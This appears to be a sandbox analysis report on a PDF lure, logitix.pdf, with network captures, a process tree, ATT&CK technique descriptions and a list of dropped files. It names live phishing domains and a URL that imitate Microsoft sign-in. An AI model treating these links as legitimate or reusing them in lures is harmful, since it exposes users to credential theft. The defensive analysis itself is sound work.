44	192.168.2.4	50088	69.49.230.198	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:50 UTC	370	OUT	GET /next.php HTTP/1.1 Host: 5735915102.businesslawyermicrosoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:50 UTC	150	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:04:49 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50089	152.199.21.175	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:53 UTC	669	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://nbgybnlh.appfilemanagement.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:53 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7833594 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Tue, 14 Jan 2025 19:04:53 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2025-01-14 19:04:53 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50094	152.199.21.175	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:54 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:54 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7833595 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Tue, 14 Jan 2025 19:04:54 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2025-01-14 19:04:54 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Target ID:	0
Start time:	14:01:47
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\logitix.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:01:47
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:01:48
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1688,i,9201643466288413071,304059854580606868,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:02:12
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://nbgybnlh.appfilemanagement.com/cwVGt"
Imagebase:	0x7ff70f330000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:02:13
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2280,i,13341644472511161292,12533665530442832116,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report logitix.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d9ed9501-4570-4e54-82dd-5829e1257dd4.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250114190152Z-156.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7344

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7344

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Windows Analysis Report
logitix.pdf